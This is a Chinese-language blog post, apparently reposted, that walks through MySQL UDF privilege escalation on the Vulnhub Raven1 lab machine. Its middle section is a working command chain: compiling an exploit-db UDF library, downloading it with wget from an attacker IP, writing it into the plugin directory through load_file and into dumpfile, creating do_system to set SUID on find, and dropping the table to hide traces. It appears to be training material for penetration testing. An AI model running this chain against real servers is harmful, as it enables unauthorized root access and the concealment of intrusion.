MySQL提权之UDF提权

1、前言

最近遇到udf提权,几经周折终于搞懂了。感觉挺有意思的,渗透思路一下子就被打开了。

2、什么是udf提权

udf 全称为'user defined function',意思是'用户自定义函数'。用户可以对数据库所使用的函数进行一个扩展(windows利用dll文件,linux利用so文件),那么我们就可以利用这个特点,往MySQL里面添加一个可以执行系统命令的函数即可。

3、提权条件

(1)获取了MySQL的控制权,也就是知道MySQL账号和密码,并且能登录上去。

(2)MySQL具有读写的权限,即secure_file_priv的值为空才行。

(3)MySQL服务以root用户运行,如果是以普通用户运行的话,那么提权之后的权限也是普通用户的权限。

值得注意的是,不同版本的MySQL提权方式略有不同。

MySQL版本大于5.1,扩展文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin目录下存放的是扩展文件,plugin文件夹默认不存在,需要自己创建)

mysql版本<5.1 需要将扩展文件放在 C:\windows\或C:\windows\system32

4、提权过程

这里我就用Vulnhub靶场的 raven1靶机来演示,因为这个靶机刚好可以进行udf提权。这里直接快进到拿到shell了,如何getshell就不说了。

输入命令查看MySQL,发现是root身份运行的。

ps aux | grep "mysql"

 在/var/www/html/wordpress目录下找到一个wp-config.php,估计是配置文件,打开发现有mysql的账号和密码,直接连接上去即可。

mysql -u root -p

查看是否有读写权限,发现值为空符合我们的前提。

show global variables like 'secure_file_priv';

再查看一下扩展目录在哪里,如果没有的话还需自己创建一下,网上有说可以使用ntfs数据流创建

后续我实验一下。

show global variables like '%plugin%';

通过我们的信息收集,发现这个主机是符合我们udf提权的前提的。那么现在我们编译一个.so文件(靶机为Linux),然后加载到plugin目录下即可。在kali的漏洞库里面有以及写好的c语言脚本的,我们直接编译成.so文件即可,非常的省事。

searchsploit mysql udf 

编译成名为rong.so的文件。

gcc -g -c 1518.c
gcc -g -shared -o rong.so 1518.c

然后下载到靶机的tmp目录下面。

wget http://192.168.145.171/rong.so

我们上面说过要把扩展文件放到plugin目录下面才可以,但是我们普通用户是没有权限直接把文件移动到plugin下面的。这个时候MySQL的作用就来了,我们可以在MySQL上面创建一个表,把我们/tmp/rong.so的内容写入到表里面,然后再把这个表里面的内容读到plugin目录下面的rong.so文件。这样就实现了tmp目录下的rong.so转移到plugin目录下,所以这就是为啥MySQL要具有读写权限。

show databases;

随便选个库都无所谓,这里我选mysql,然后新建一个表。

use mysql
create table rong(line blob)

把/tmp/rong.so文件内容写入这个新建的表里面,load_file函数就是把文件内容写入到表里面。

insert into rong values(load_file('/tmp/rong.so'));

再把表里面的内容读到plugin目录的rong.so,into dumpfile函数就是把表里的内容读入文件里面,如果没有这个文件就新建一个。

select * from rong into dumpfile '/usr/lib/mysql/plugin/rong.so'; 

在真实的攻击中,一般都会把刚刚新建的表删掉(不删也行),清楚痕迹。

drop table rong

现在我们已经成功把自定义扩展函数放到plugin目录下面了,接着导入函数。

create function do_system retuns integer soname 'rong.so'

然后我们就可以执行系统命令了,不过这里是没回显的,要想有回显示还得导入其他.so文件,这里就不说了。我们可以个find命令赋予一个suid权限,然后再利用find提权即可。

select do_system('chmod u+s /usr/bin/find');

查看一下具有suid权限的命令,find命令成功被赋予了权限。

find / -perm -u=s -type f 2>/dev/null

至于find命令如何提权可以参考这篇文章点击我,求你了,这里不在缀述。

5、总结

udf提权本质就是通过添加自定义函数让MySQL能执行系统命令,仅此而已。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/27192.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Rollup 打包一个 JavaScript 项目

export default {input: "./src/FFCesium/core/index.js", // 输入文件output: {file: "public/lastVersion/FFCesium.confuse.js", // 输出文件//format: "cjs", // 打包格式为cjsformat: "es",exports: "default", // 或者…

电脑超频是否能把平平无奇的CPU性能提升到超高性能的CPU水平?

前言 这一期着实很有意思哈&#xff0c;一颗平平无奇的CPU通过超频&#xff0c;把性能提升到超高性能的CPU水平。 举个例子&#xff1a;类似于把i7-4790k这颗十年前的高性能CPU超频到性能与i9-14900同样水准&#xff0c;是否可行&#xff1f; 先科普一下&#xff1a;i7-4790…

中文版svn怎么忽略文件

个人需求&#xff1a; 不上传dist&#xff0c;dist.7z&#xff0c;node_modules等文件夹 实际操作&#xff1a; 前言&#xff1a;在上传svn为避免操作失败导致丢失文件的情况&#xff0c;保险起见&#xff0c;先备份代码 1&#xff1a;右键点击 2&#xff1a;点击新建 – 其…

分布式光纤测温DTS与红外热成像系统的主要区别是什么?

分布式光纤测温DTS和红外热成像系统在应用领域和工作原理上存在显著的区别&#xff0c;两者具有明显的差异性。红外热成像系统适用于表现扩散式发热、面式场景以及环境条件较好的情况下。它主要用于检测物体表面的温度&#xff0c;并且受到镜头遮挡或灰尘等因素的影响会导致失效…

【Shopee】计算虾皮订单的各项支出和订单收入计算方法

虾皮订单成交截图 基础条件&#xff1a; 商品金额&#xff1a;11.92 [4x2.98] 商品原价&#xff1a;7.5 商品折后价&#xff1a;2.98 商品数量&#xff1a;4 优惠券与回扣&#xff1a; 店铺优惠券&#xff08;减10%&#xff09;&#xff1a;1.2 [11.92x10% 四舍五入了] 订单实…

微软bing英文地图公司地址标注

实现效果如下&#xff1a; 通过微软Bing地图嵌入代码&#xff0c;以在网站中展示公司地址&#xff0c;使用鼠标滚动可缩放或点击拖动地图。 直接上代码&#xff0c;根据自己的需求修改相关信息即可。 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN…

消息群发工具制作的过程和需要用到的源代码!

在信息化快速发展的今天&#xff0c;消息群发工具因其高效、便捷的特点&#xff0c;在各个领域得到了广泛的应用&#xff0c;无论是企业营销、社交互动&#xff0c;还是日常通知&#xff0c;消息群发工具都发挥着不可替代的作用。 本文将详细介绍消息群发工具的制作过程&#…

opencv_核心操作

图像基本操作 访问和修改像素值 import numpy as np import cv2 img cv2.imread(c:/Users/HP/Downloads/basketball.png) h,w,c img.shape #图像大小 print(h,w,c)### 841 1494 3# 通过行和列坐标访问像素值 img[100,100]### 231 ### array([231, 140, 146], dtypeuint8)# …

额定值高于 1 kW 的电机驱动应用使用 GaN 逆变器 IC

GaN 技术的三个重要的参数是更高的带隙、临界场和电子迁移率。当这些参数结合起来时&#xff0c;由于 GaN 晶体的临界场高 10 倍&#xff0c;因此与硅 MOSFET 相比&#xff0c;电端子之间的距离可以近 10 倍。这导致了 GaN 和硅之间的明显区别&#xff1a;中压 GaN 器件可以基于…

AI大模型探索之路-实战篇:智能化IT领域搜索引擎之知乎网站数据获取(初步实践)

系列篇章&#x1f4a5; No.文章1AI大模型探索之路-实战篇&#xff1a;智能化IT领域搜索引擎的构建与初步实践2AI大模型探索之路-实战篇&#xff1a;智能化IT领域搜索引擎之GLM-4大模型技术的实践探索3AI大模型探索之路-实战篇&#xff1a;智能化IT领域搜索引擎之知乎网站数据获…

list容器的基本使用

目录 前言一&#xff0c;list的介绍二&#xff0c;list的基本使用2.1 list的构造2.2 list迭代器的使用2.3 list的头插&#xff0c;头删&#xff0c;尾插和尾删2.4 list的插入和删除2.5 list 的 resize/swap/clear 前言 list中的接口比较多&#xff0c;与string和vector类似&am…

【数据库设计】宠物商店管理系统

目录 &#x1f30a;1 问题的提出 &#x1f30a;2 需求分析 &#x1f30d;2.1 系统目的 &#x1f30d;2.2 用户需求 &#x1f33b;2.2.1 我国宠物行业作为新兴市场&#xff0c;潜力巨大 &#x1f33b;2.2.2 我国宠物产品消费规模逐年增大 &#x1f33b;2.2.3 我国宠物主选…

GPT办公与科研应用、论文撰写、数据分析、机器学习、深度学习及AI绘图高级应用

原文链接&#xff1a;GPT办公与科研应用、论文撰写、数据分析、机器学习、深度学习及AI绘图高级应用https://mp.weixin.qq.com/s?__bizMzUzNTczMDMxMg&mid2247606667&idx3&sn2c5be84dfcd62d748f77b10a731d809d&chksmfa82606ccdf5e97ad1a2a86662c75794033d8e2e…

数据结构-树的性质

树的定义 树是一个有限数据元素的集合&#xff0c;当数据的量为0时&#xff0c;称为空树。 在一个非空树T中&#xff0c;最上方的结点没有前驱结点&#xff0c;称为根节点。在一个数据量大于1的树中&#xff0c;除了根节点之外的其余数据元素可以被分为m个互不相交的集合T1,T2,…

[leetcode]删除链表中倒数第k个结点

. - 力扣&#xff08;LeetCode&#xff09; class Solution { public:ListNode* trainningPlan(ListNode* head, int cnt) {int n 0;ListNode* node nullptr;for (node head; node; node node->next) {n;}for (node head; n > cnt; n--) {node node->next;}retu…

场外期权如何开户?开户有哪些流程?

今天带你了解场外期权如何开户&#xff1f;开户有哪些流程&#xff1f;场外期权是一种金融衍生品&#xff0c;其开户流程和条件对于投资者来说至关重要。 场外期权如何开户&#xff1f; 需要满足532资质&#xff0c;参与者需为法人、合伙企业或其他组织&#xff0c;最近一年末…

《吸血鬼猎人D》观后感

前言 在B站无意中发现了一部动漫电影《吸血鬼猎人D》&#xff0c;看着封面还不错&#xff0c;就试着点开了视频&#xff0c;看了一会儿&#xff0c;发现画面很精美&#xff0c;人物造型高大威猛&#xff0c;肌肉线条清晰可见。如果我没记错的话&#xff0c;这种风格在日本动漫中…

填报志愿选大学专业,文科生如何选专业?

读文科的同学接触的专业知识相对广泛&#xff0c;往往被认为是“万金油”&#xff0c;他们仿佛什么都能做&#xff0c;但是和专业技能类知识不同&#xff0c;缺乏技术支持&#xff0c;从而使得文科专业的就业方向和前景远远比不上理科专业那么明朗&#xff0c;对于众多文科生而…

U-Mail反垃圾邮件网关助力企业抵御垃圾邮件,守护邮箱安全

在数字化时代&#xff0c;电子邮件已成为企业沟通不可或缺的工具&#xff0c;它在促进信息流通和提高工作效率方面扮演着关键角色。然而&#xff0c;随着电子邮件使用的普及&#xff0c;垃圾邮件问题也日益凸显&#xff0c;特别是那些携带恶意软件或钓鱼链接的邮件&#xff0c;…

深度学习(六)——神经网络的基本骨架:nn.Module的使用

一、torch.nn简介 官网地址&#xff1a; torch.nn — PyTorch 2.0 documentation 1. torch.nn中的函数简介 Containers&#xff1a;神经网络的骨架 Convolution Layers&#xff1a;卷积层 Pooling layers&#xff1a;池化层 Padding Layers&#xff1a;Padding Non-linear …